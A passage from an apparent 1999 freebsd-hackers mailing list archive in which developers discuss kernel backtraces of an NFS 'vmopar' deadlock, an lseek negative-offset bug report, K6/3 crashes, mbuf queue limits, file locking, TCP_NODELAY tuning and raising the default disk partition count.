---Type to continue, or q to quit--- segflg=UIO_USERSPACE, ioflg=9, cred=0xc115a680, aresid=0x0, p=0xc75574a0) at vnode_if.h:331 #37 0xc01404ae in elf_coredump (p=0xc75574a0) at ../../kern/imgact_elf.c:742 #38 0xc0150eb4 in sigexit (p=0xc75574a0, signum=11) at ../../kern/kern_sig.c:1241 #39 0xc0150d67 in postsig (signum=11) at ../../kern/kern_sig.c:1158 #40 0xc02079c0 in trap (frame={tf_es = 39, tf_ds = 39, tf_edi = -1077945804, tf_esi = 1, tf_ebp = -1077945848, tf_isp = -949182492, tf_ebx = -1077945796, tf_edx = -1077946684, tf_ecx = -1077946684, tf_eax = 16064, tf_trapno = 12, tf_err = 16064, tf_eip = 134513835, tf_cs = 31, tf_eflags = 66195, tf_esp = -1077945852, tf_ss = 39}) at ../../i386/i386/trap.c:167 ========================================================================== 4.0 machine with process stuck in vompar (kgdb) proc 5536 (kgdb) bt #0 mi_switch () at ../../kern/kern_synch.c:827 #1 0xc013c191 in tsleep (ident=0xc059d140, priority=4, wmesg=0xc0250b91 "vmopar", timo=0) at ../../kern/kern_synch.c:443 #2 0xc01e2caf in vm_object_page_remove (object=0xc87baf3c, start=0, end=978, clean_only=0) at ../../vm/vm_page.h:536 #3 0xc01e7449 in vnode_pager_setsize (vp=0xc8760980, nsize=0) at ../../vm/vnode_pager.c:285 #4 0xc01ad117 in nfs_loadattrcache (vpp=0xc86aedbc, mdp=0xc86aedc8, dposp=0xc86aedcc, vaper=0x0) at ../../nfs/nfs_subs.c:1383 #5 0xc01b5f80 in nfs_readrpc (vp=0xc8760980, uiop=0xc86aee30, cred=0xc0ac6580) at ../../nfs/nfs_vnops.c:1086 #6 0xc018def5 in nfs_getpages (ap=0xc86aee6c) at ../../nfs/nfs_bio.c:154 #7 0xc01e79fe in vnode_pager_getpages (object=0xc87baf3c, m=0xc86aef00, count=1, reqpage=0) at vnode_if.h:1067 #8 0xc01dc158 in vm_fault (map=0xc7c5ff80, vaddr=134512640, fault_type=1 '\001', fault_flags=0) at ../../vm/vm_pager.h:130 #9 0xc0214a14 in trap_pfault (frame=0xc86aefa8, usermode=1, eva=134513640) at ../../i386/i386/trap.c:781 #10 0xc02145a3 in trap (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = -1077945600, tf_esi = -1077945608, tf_ebp = -1077945652, tf_isp = -932515884, tf_ebx = 1, tf_edx = 1, tf_ecx = 0, tf_eax = 10, tf_trapno = 12, tf_err = 4, tf_eip = 134513640, tf_cs = 31, tf_eflags = 66118, tf_esp = -1077945652, tf_ss = 47}) at ../../i386/i386/trap.c:349 #11 0x80483e8 in ?? () #12 0x804837d in ?? () To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 12:41:17 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from root.moose.ca (cpu1042.adsl.bellglobal.com [207.236.110.23]) by hub.freebsd.org (Postfix) with ESMTP id 9E4E415216 for ; Tue, 24 Aug 1999 12:41:10 -0700 (PDT) (envelope-from orignal@root.moose.ca) Received: from localhost (orignal@localhost) by root.moose.ca (8.9.3/8.9.3) with SMTP id PAA04314 for ; Tue, 24 Aug 1999 15:36:27 -0400 Date: Tue, 24 Aug 1999 15:36:24 -0400 (EDT) From: Orignal X-Sender: orignal@root To: hackers@freebsd.org Subject: Stopped syscall Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gurus: Here's the scenario: I'd like to be able to stop a process, call it (PID 42) (or put it to sleep) while it is in kernel mode on a syscall and wake it up later. The wakeup would be effected when another process (my own, let's call it GO) traps to the kernel and tells it (through a function in a KLD) to let (PID 42) proceed or refuse it. The sleep channel for the procs put to sleep (in this manner) would be unique to every proc. 1). If it is to proceed, where/how might I find the syscall args of the original syscall PID 42 (presumably the u area). Is this in the sysentvec? 2) How do I go about restarting the process (in kernel mode) where it (PID 42) left off and within it's own context, allowing the syscall to complete (without, of course, letting it get back to userland)? I imagine that I would need to temporarily restore the process context for (PID 42), allow the syscall to complete and then restore the GO process syscall context so that I can return to userland. After letting the syscall for PID 42 complete, I imagine that I would nedd to make it setrunnable. If this is a completely stupid setup, please send flames via private mail. Thanks! Orig To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 13:12:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by hub.freebsd.org (Postfix) with ESMTP id 25C7215158 for ; Tue, 24 Aug 1999 13:12:47 -0700 (PDT) (envelope-from spamfilter@sullen.demon.co.uk) Received: from sullen.demon.co.uk ([194.222.234.105]) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 11JMud-0003am-0A for hackers@freebsd.org; Tue, 24 Aug 1999 20:11:19 +0000 Message-ID: <37C2EFE6.5613A1B6@sullen.demon.co.uk> Date: Tue, 24 Aug 1999 20:17:58 +0100 From: Jon Povey X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Duncan Barclay wrote: > On 23-Aug-99 Cillian Sharkey wrote: > > > > yes perhaps an /etc/periodic.conf would be good, to control the level > > of verbosity and/or set options for each script ? > > I've hacked periodic here so that the scripts can be turned off with knobs in > a periodic.conf file. This would simplify customizing new installitions - one > no longer needs to add exit 0 to scripts. how about changing the output format; the top of the emailed report could contain a digest saying "everything's okay" for those who didn't want to read through the whole thing, then the rest of the report could have the usual verbose information. Then the digest could be made Even More concise, having brief lines like "disk free space changed" if it had, instead of the whole df output. then, if you wanted to know what had happened, you look to the rest of the email. if you want to ignore in certain notifications in the digest, you can. > Duncan -- Jon Povey - spamfilter@sullen.demon.co.uk "Doesn't all this crap just make you want to hurl?" - Netscape example app-defaults To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 13:28:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from lamb.sas.com (lamb.sas.com [192.35.83.8]) by hub.freebsd.org (Postfix) with ESMTP id 5B42715125 for ; Tue, 24 Aug 1999 13:28:13 -0700 (PDT) (envelope-from jwd@unx.sas.com) Received: from mozart (mozart.unx.sas.com [192.58.184.8]) by lamb.sas.com (8.9.3/8.9.1) with SMTP id QAA01061 for ; Tue, 24 Aug 1999 16:25:57 -0400 (EDT) Received: from bb01f39.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA21513; Tue, 24 Aug 1999 16:25:26 -0400 Received: (from jwd@localhost) by bb01f39.unx.sas.com (8.9.1/8.9.1) id QAA24724 for freebsd-hackers@freebsd.org; Tue, 24 Aug 1999 16:25:26 -0400 (EDT) (envelope-from jwd) From: "John W. DeBoskey" Message-Id: <199908242025.QAA24724@bb01f39.unx.sas.com> Subject: seek to negative offset? To: freebsd-hackers@freebsd.org Date: Tue, 24 Aug 1999 16:25:26 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, The subject says it all... We have some code that scans files backwards... On the systems we've been running this program on, the lseek man page typically lists: [EINVAL] The resulting file offset would be negative. The following program run under freebsd-current shows the problem: #include #include #include #include main() { int offset, myerrno; int myfd; myfd = open("/etc/passwd", O_RDONLY); printf("Seeking to byte 512...\n"); offset = lseek(myfd, 512, SEEK_SET); myerrno = errno; printf("offset after first lseek: %d\nerrno=%d\n\n",offset,myerrno); printf("Seeking relative -1024 bytes...\n"); offset = lseek(myfd, -1024, SEEK_CUR); myerrno = errno; printf("offset after second lseek: %d\nerrno=%d\n\n",offset,myerrno); printf("Current offset location: %d\n",lseek(myfd, 0, SEEK_CUR)); close(myfd); } sample output: Seeking to byte 512... offset after first lseek: 512 errno=0 Seeking relative -1024 bytes... offset after second lseek: -512 errno=0 Current offset location: -512 In looking through /usr/src/sys/kern/vfs_syscalls.c I can't see where we do any validation on the resulting seek location... Do the appropriate folks think this is a bug? How about posix? Should I go ahead and submit a pr with a patch? Thanks! John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 13:29:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mercury.inktomi.com (mercury.inktomi.com [209.1.32.126]) by hub.freebsd.org (Postfix) with ESMTP id 18F441512D for ; Tue, 24 Aug 1999 13:29:44 -0700 (PDT) (envelope-from jplevyak@inktomi.com) Received: from proxydev.inktomi.com (proxydev.inktomi.com [209.1.32.44]) by mercury.inktomi.com (8.9.1a/8.9.1) with ESMTP id NAA19348 for ; Tue, 24 Aug 1999 13:29:44 -0700 (PDT) Received: (from jplevyak@localhost) by proxydev.inktomi.com (8.8.5/8.7.3) id NAA18561 for freebsd-hackers@freebsd.org; Tue, 24 Aug 1999 13:29:43 -0700 (PDT) Date: Tue, 24 Aug 1999 13:29:43 -0700 From: John Plevyak To: freebsd-hackers@freebsd.org Subject: K6/3 on 3.2-STABLE Message-ID: <19990824132943.B11107@proxydev.inktomi.com> Mail-Followup-To: freebsd-hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am experiencing reproducible crashes with FreeBSD (3.2-STABLE) on a K6/3-450 running on an ASUS P5S-VM motherboard. The problem is highly repeatable (happens about 1/4 of the way through compiling the kernel) and goes away if a K6/2-450 is substituted for the K6/3-450 with all other things held equal. The problem shows up in sys/kern/vfs_bio.c on line 757 in brelse: if ((bp->b_flags & B_INVAL) || (bp->b_flags & (B_LOCKED|B_DELWRI)) == 0) { if (bp->b_flags & B_DELWRI) { --numdirtybuffers; bp->b_flags &= ~B_DELWRI; } vfs_bio_need_satisfy(); } The corresponding assembly code is: .stabn 68,0,757,.LM335-brelse .LM335: testb $32,37(%esi) jne .L560 testl $16512,36(%esi) jne .L559 .L560: .stabn 68,0,759,.LM336-brelse .LM336: cmpb $0,36(%esi) jge .L561 .stabn 68,0,760,.LM337-brelse .LM337: decl numdirtybuffers The problem is that the K6/3 ends up *between* instructions. In the image this code corresponds to : 0xc017ed35 : movl %ebx,0xc02d681c 0xc017ed3b : testb $0x20,0x25(%esi) 0xc017ed3f : jne 0xc017ed4a 0xc017ed41 : testl $0x4080,0x24(%esi) 0xc017ed48 : jne 0xc017ed62 0xc017ed4a : cmpb $0x0,0x24(%esi) 0xc017ed4e : jnl 0xc017ed5d 0xc017ed50 : decl 0xc030680c 0xc017ed56 : andl $0xffffff7f,0x24(%esi) 0xc017ed5d : call 0xc017e720 But the kernel crashes with the $pc == 0xc017ed46 which corresponds to : (gdb) x/10i 0xc017ed46 0xc017ed46 : addb %al,(%eax) 0xc017ed48 : jne 0xc017ed62 0xc017ed4a : cmpb $0x0,0x24(%esi) 0xc017ed4e : jnl 0xc017ed5d 0xc017ed50 : decl 0xc030680c and since eax is 0, this results in a protection fault. This is very repeatable, as I said, it happens about 1/4 of the way through building the kernel. It is next to impossible to get through an entire build of the kernel. Swapping out the K6/3 for a K6/2 solved the problem as does running the same binaries on Intel hardware. Has anyone else had any similar experience with the K6/3? Has anyone had success with the K6/3? On further note: recompiling the kernel with egcs-1.1.2 causes the problem to go away (probably different instruction selection/scheduling) but a problem remains in libc (in the 'free' function) which prevents reliable operation. 'make world' with egcs-1.1.2 requuires a number of changes, so I haven't tried that yet, but in any case I don't feel comfortable with changing out the compiler and hoping that the bug doesn't just move somewhere else. Any ideas/pointers appreciated. john -- John Bradley Plevyak, PhD, jplevyak@inktomi.com, PGP KeyID: 051130BD Inktomi Corporation, 1900 S. Norfolk Street, Suite 310, San Mateo, CA 94403 W:(650)653-2830 F:(650)653-2889 P:(888)491-1332/5103192436.4911332@pagenet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 14:33:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id CD42014DEF for ; Tue, 24 Aug 1999 14:33:55 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id OAA18621; Tue, 24 Aug 1999 14:33:48 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 14:33:48 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242133.OAA18621@apollo.backplane.com> To: John Plevyak Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: K6/3 on 3.2-STABLE References: <19990824132943.B11107@proxydev.inktomi.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I am experiencing reproducible crashes with FreeBSD (3.2-STABLE) on :a K6/3-450 running on an ASUS P5S-VM motherboard. The problem is highly :repeatable (happens about 1/4 of the way through compiling the kernel) :and goes away if a K6/2-450 is substituted for the K6/3-450 with :all other things held equal. Are you overclocking your K6/3-450? Even if not, try running it at a slower clock rate. If reducing the clock fixes the problem, you might have a bad cpu or you might have a grey-market cpu that was re-marked up for a higher clock speed then it can actually handle. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 14:38:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peedub.muc.de (newpc.muc.ditec.de [194.120.126.33]) by hub.freebsd.org (Postfix) with ESMTP id 97938150DC for ; Tue, 24 Aug 1999 14:38:12 -0700 (PDT) (envelope-from garyj@peedub.muc.de) Received: from peedub.muc.de (localhost [127.0.0.1]) by peedub.muc.de (8.9.3/8.6.9) with ESMTP id XAA01689; Tue, 24 Aug 1999 23:33:22 +0200 (CEST) Message-Id: <199908242133.XAA01689@peedub.muc.de> X-Mailer: exmh version 2.0.2 2/24/98 To: Christoph Kukulies Cc: hackers@FreeBSD.ORG Subject: Re: mbufs eaten up - when pinging Reply-To: Gary Jennejohn In-reply-to: Your message of "Tue, 24 Aug 1999 17:54:18 +0200." <199908241554.RAA52254@gil.physik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 24 Aug 1999 23:33:22 +0200 From: Gary Jennejohn Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christoph Kukulies writes: > >With a non-functioning route over isdn (i4b) I'm observing >that mbufs allocated soon reach the limit and then I'm getting >'no buffer space' available. I'm not sure whether >the networking stack is still usable for other purposes >but I prefer to reboot. > >I just want to bring up this issue because it looks to >me like some resource leak which need not have to be. > This is not a sign of a leak, rather that thing's are working as designed. The queues only allow a limited number of packets (50 I think) to be put into them before they're full and you start seeing the "no buffer space" message. Maybe it would be clearer if it were "transmit queue is full", or something like that. Obviously, if your ISDN is not sending out any packets then the queues will fill up rather quickly when you do a ping. The easiest way to solve this is to down the interface and then up it. That automatically flushes the queues. You do not have to reboot. You need to fix your ISDN problem :) --- Gary Jennejohn Home - garyj@muc.de Work - garyj@fkr.dec.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 14:52:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53]) by hub.freebsd.org (Postfix) with ESMTP id BE2BC151D8; Tue, 24 Aug 1999 14:51:56 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18415.on.bellglobal.com (ppp18373.on.bellglobal.com [206.172.130.53]) by smtp11.bellglobal.com (8.8.5/8.8.5) with ESMTP id RAA09362; Tue, 24 Aug 1999 17:53:06 -0400 (EDT) Received: (from tim@localhost) by ppp18415.on.bellglobal.com (8.9.3/8.9.1) id RAA08925; Tue, 24 Aug 1999 17:51:55 -0400 (EDT) (envelope-from tim) Date: Tue, 24 Aug 1999 17:51:54 -0400 From: Tim Vanderhoek To: Wes Peters Cc: Mark Murray , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990824175154.A8869@ppp18415.on.bellglobal.com> References: <199908232012.WAA78393@gratis.grondar.za> <19990823213857.B99022@ppp18344.on.bellglobal.com> <37C2AB77.52678981@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <37C2AB77.52678981@softweyr.com>; from Wes Peters on Tue, Aug 24, 1999 at 08:25:59AM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 08:25:59AM -0600, Wes Peters wrote: > > > > I don't like restricting the breaking of mandatory locks to the > > superuser. It could be restricted to specific users (say file owner + > > root)... > > How 'bout "anyone who can kill the process holding the lock?" + file owner ( + root ). Otherwise I would be able to lock ~wes/FreeBSDmarkers and you wouldn't be able to do anything about it until either notifying me or notifying root about the process I accidentally left hanging. [Not that I'm likely to ever need more than an advisory lock on that particular file, but the principle... :-] Hm. ``chmod go-"MayLock" ~wes/Fre*'' The sticky bit could be used. -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:17:45 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 9F305151DD for ; Tue, 24 Aug 1999 15:17:42 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA18836; Tue, 24 Aug 1999 15:17:38 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 15:17:38 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242217.PAA18836@apollo.backplane.com> To: David Malone Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: vm_fault: pager read error on NFS filesystems. References: <199908241955.aa23162@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I don't see how 2 could make break the API - all a process in this :state can do is spin trying to serve SIGBUSs. I think HPUX may KILL :processes in this state. Yep, on HPUX 10.10 when I run my test :program (included at the bottom of this mail) I get: : :Pid 2717 was killed due to failure in writing the signal context. : :Solaris 2.6 gives a bus error. AIX and Digital Unix have the same :behavior as FreeBSD. Linux either does what FreeBSD does or core :dumps depending on the address of the SIGBUS handler I give it. :I'd like to see what NTs POSIX subsystem does... : :BTW - don't run the test program on a -CURRENT machine unless you've :recompiled the kernel today. There was a bug which alowd processes :to catch SIGKILL, and it results in the process being unkillable. Oh, sure, during stacking. I was thinking of processes which catch SIGBUS and then do something inside their signal handler which may SIGBUS again. That sort of recursion is legal. :Init got stuck in vmopar while doing a wait on a 3.2-STABLE machine. :We haven't managed to do this reproduceably, but the first stuck :zombie was a process which had suffered from the "vm_fault: pager :read error" problem which someone had kill -9'ed. : :We do have a trace from a 4.0 machine with a normal process stuck :in vmopar. I've tacked that on the bottom too. The problems may :be similar. I don't understand why waiting on a zombie would :require the text of the program at all - but I haven't looked at :the code so. The vmopar lockup is a known bug. If the underlying vnode changes out from under a vm_fault a client can get into trouble. > (earlier email written by Matt in May 99) > The problem is a same-process deadlock. A VM fault occurs accessing a > NFS-backed page. The fault locks (PG_BUSY's) the page in question then > calls vnode_pager_getpages() to bring the page in. This filters down > into an nfs_getpages() call which then calls nfs_readrpc(). > > nfs_readrpc() normally ( and properly ) tries to keep the vnode > synchronized to the NFS state returned by the RPC. The problem is that > if the state indicates that the server has truncated the file, > vnode_pager_setsize() will be called and will attempt to remove all > the pages beyond the truncation point from the VM object. > > Unfortunately, at least one of those pages has been locked by the same > process. Bewm. Deadlock. Did I never fix this problem? May was a bad month. This is still an open problem. -Matt Matthew Dillon : David. :... (from 4.0 box panic) : wmesg=0xc0250b91 "vmopar", timo=0) at ../../kern/kern_synch.c:443 :#2 0xc01e2caf in vm_object_page_remove (object=0xc87baf3c, start=0, end=978, : clean_only=0) at ../../vm/vm_page.h:536 :#3 0xc01e7449 in vnode_pager_setsize (vp=0xc8760980, nsize=0) : at ../../vm/vnode_pager.c:285 :#4 0xc01ad117 in nfs_loadattrcache (vpp=0xc86aedbc, mdp=0xc86aedc8, : dposp=0xc86aedcc, vaper=0x0) at ../../nfs/nfs_subs.c:1383 :#5 0xc01b5f80 in nfs_readrpc (vp=0xc8760980, uiop=0xc86aee30, cred=0xc0ac6580) : at ../../nfs/nfs_vnops.c:1086 :#6 0xc018def5 in nfs_getpages (ap=0xc86aee6c) at ../../nfs/nfs_bio.c:154 :#7 0xc01e79fe in vnode_pager_getpages (object=0xc87baf3c, m=0xc86aef00, : count=1, reqpage=0) at vnode_if.h:1067 :#8 0xc01dc158 in vm_fault (map=0xc7c5ff80, vaddr=134512640, : fault_type=1 '\001', fault_flags=0) at ../../vm/vm_pager.h:130 :#9 0xc0214a14 in trap_pfault (frame=0xc86aefa8, usermode=1, eva=134513640) : at ../../i386/i386/trap.c:781 :#10 0xc02145a3 in trap (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, : tf_edi = -1077945600, tf_esi = -1077945608, tf_ebp = -1077945652, : tf_isp = -932515884, tf_ebx = 1, tf_edx = 1, tf_ecx = 0, tf_eax = 10, : tf_trapno = 12, tf_err = 4, tf_eip = 134513640, tf_cs = 31, : tf_eflags = 66118, tf_esp = -1077945652, tf_ss = 47}) : at ../../i386/i386/trap.c:349 :#11 0x80483e8 in ?? () :#12 0x804837d in ?? () : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:27: 5 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from www.crb-web.com (ns1.crb-web.com [209.70.120.131]) by hub.freebsd.org (Postfix) with SMTP id 3731514DE4 for ; Tue, 24 Aug 1999 15:27:02 -0700 (PDT) (envelope-from wayne@crb.crb-web.com) Received: (qmail 7168 invoked by uid 1001); 24 Aug 1999 23:06:53 -0000 Date: Tue, 24 Aug 1999 19:06:53 -0400 (EDT) From: Wayne Cuddy Reply-To: wayne@crb-web.com To: FreeBSD Hackers List Subject: yea TCP_NODELAY Re: network performance vs. linux on small transfers In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ok, if you suggested the TCP_NODELAY option you were right. Once we set this FreeBSD sent 25 msgs/second, Linux did 22 msgs/second and HPSUX did 15 msgs/second. (we TCP_NODELAY on all platforms) Is the Linux Nangle algo broken/different? Thanks for all the help. Wayne On Tue, 24 Aug 1999, Wayne Cuddy wrote: > Date: Tue, 24 Aug 1999 00:38:21 -0400 (EDT) > From: Wayne Cuddy > To: FreeBSD Hackers List > Subject: network performance vs. linux on small transfers > > I am involved in a messaging system at work in which we need to send/receive > large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 > on HPUX. > > Our application sends messages down a FIFO to a daemon process that is reading from > the FIFO. This process then connects to port 25 of the destination system and > delivers the mail via SMTP. Currently the destination system is the local > system so everything is done on one machine. > > Using HPUX we typically pass 5 messages a second. This system is a dual > 180Mhz K class server so this is surprisingly low performance for this system. > > When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a > 500Mhz P3, this is also unacceptable performance. > > When we tested with Linux (kernel 2.2.5) we passed 15 messages a second > consistently using the exact same P3 described above. > > Since the HPUX and FreeBSD numbers are so close I am wondering there is some > performance tuning that I do not know about. Do you think the number might > change if multiple hosts were used? > > The daemon that reads from the FIFO makes only one connection to the local > Sendmail to deliver multiple messages in sequence. > > > I REALLY want to use FreeBSD over Linux on this one and need some major help > to get the performance out of FreeBSD. > > > Much thanks in advance, > > Wayne Cuddy > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:28:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.skylink.it (ns.skylink.it [194.177.113.1]) by hub.freebsd.org (Postfix) with ESMTP id 9F20714DE4 for ; Tue, 24 Aug 1999 15:28:03 -0700 (PDT) (envelope-from n_hibma@skylink.it) Received: from heidi.plazza.it (va-155.skylink.it [194.185.55.155]) by ns.skylink.it (8.9.1/8.8.8) with ESMTP id AAA13323 for ; Wed, 25 Aug 1999 00:27:22 +0200 Received: from localhost (localhost [127.0.0.1]) by heidi.plazza.it (8.9.3/8.8.5) with ESMTP id WAA89959 for ; Tue, 24 Aug 1999 22:16:05 GMT X-No-Spam: Neither the receipients nor the senders email address(s) are to be used for Unsolicited (Commercial) Email without the explicit written consent of either party; as a per-message fee is incurred for inbound and outbound traffic to the originator. Posted-Date: Tue, 24 Aug 1999 22:16:05 GMT Date: Wed, 25 Aug 1999 00:16:04 +0200 (CEST) From: Nick Hibma X-Sender: n_hibma@heidi.plazza.it Reply-To: Nick Hibma To: FreeBSD Hackers mailing list Subject: context of timeout's Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Are timeouts executed in interrupt context? Nick -- e-Mail: hibma@skylink.it To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:41:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id D83F11525D for ; Tue, 24 Aug 1999 15:41:09 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA18980; Tue, 24 Aug 1999 15:37:52 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 15:37:52 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242237.PAA18980@apollo.backplane.com> To: FreeBSD Hackers List Subject: Possibility of increasing default MAXPARTITIONS from 8 to 16 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't know about all of you, but for the last few years I've been running out of partitions! It's even worse with today's big disks. The last disk I installed I had to resort to using two fdisk slices on a single disk: apollo:/usr/src/sys# df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/da0s1a 127023 52817 64045 45% / /dev/da0s1d 127023 9035 107827 8% /var /dev/da0s1e 127023 314 116548 0% /var/tmp /dev/da0s1f 1016303 435952 499047 47% /usr /dev/da0s1g 126322 17545 98672 15% /var/log /dev/da0s2a 1524463 631822 770684 45% /archive /dev/da0s2d 3048942 1670121 1134906 60% /src /dev/da0s2e 5541549 1616954 3481272 32% /FreeBSD /dev/da0s2f 2032623 861297 1008717 46% /images /dev/da0s2g 3048942 243147 2561880 9% /usr/obj What I would really like to do is to increase the number of partitions allowed in a disklabel. I really dislike having to mess with fdisk. The system defaults to 8. sys/diskslice.h seems to imply that you can compile up a kernel with a higher number. The partition structure with 8 partitions eats 276 bytes. With 16 partitions it eats 404 bytes. I assume that anything under 512 bytes is safe, and possibly even more (how much does a UFS filesystem ignore?) The structure appears to be backwards compatible. The question I am putting to the group is whether it is "time" for us, with today's large disks, to increase the system-compiled default from 8 to 16 partitions. Instead of a-h we would have a-p -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:46:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 0793D15276 for ; Tue, 24 Aug 1999 15:46:50 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id PAA19670; Tue, 24 Aug 1999 15:43:44 -0700 Date: Tue, 24 Aug 1999 15:43:44 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Matthew Dillon Cc: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: <199908242237.PAA18980@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What are the advantages and disadvantages of partitions? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:47:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mercury.inktomi.com 